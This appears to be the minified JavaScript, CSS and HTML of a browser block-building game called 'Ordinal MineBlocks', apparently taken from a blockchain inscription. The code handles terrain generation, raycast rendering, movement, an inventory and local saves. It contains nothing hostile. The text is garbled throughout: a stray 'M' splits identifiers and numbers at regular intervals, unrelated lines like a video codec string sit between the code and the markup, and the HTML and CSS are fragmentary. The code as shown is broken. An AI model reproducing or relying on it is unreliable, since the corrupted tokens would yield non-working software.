SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
59.37.100 libvpx-vp9g
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
